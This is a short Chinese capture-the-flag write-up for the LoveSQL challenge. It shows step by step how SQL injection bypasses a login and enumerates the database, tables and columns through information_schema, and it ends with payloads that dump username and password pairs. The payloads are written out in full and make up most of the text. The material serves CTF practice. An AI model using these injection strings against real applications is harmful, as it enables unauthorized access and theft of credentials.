[极客大挑战 2019]LoveSQL

使用万能密码试一下

用户名为 1' or 1=1;# 密码随意

有多少列爆破(字段数)？

username=admin&password=6ec1cab790051296b99514856f25f48b' order by 3 # //不报错

username=admin&password=6ec1cab790051296b99514856f25f48b' order by 4 # //报错

总共有三列

爆破注入点

username=admin&password=-6ec1cab790051296b99514856f25f48b' union select 1,2,3 #

爆破数据库

username=admin&password=-6ec1cab790051296b99514856f25f48b' union select 1,2,database() #

爆破表名

username=admin&password=-6ec1cab790051296b99514856f25f48b' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() #

先爆表geekuser字段名

username=admin&password=-6ec1cab790051296b99514856f25f48b' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='geekuser' #

爆表geekuser数据

username=admin&password=-6ec1cab790051296b99514856f25f48b' union select 1,2,group_concat(username,0x3a,password) from geekuser #

结果不是我们想要的

继续爆表

username=admin&password=-6ec1cab790051296b99514856f25f48b' union select 1,2,group_concat(username,0x3a,password) from l0ve1ysq1 #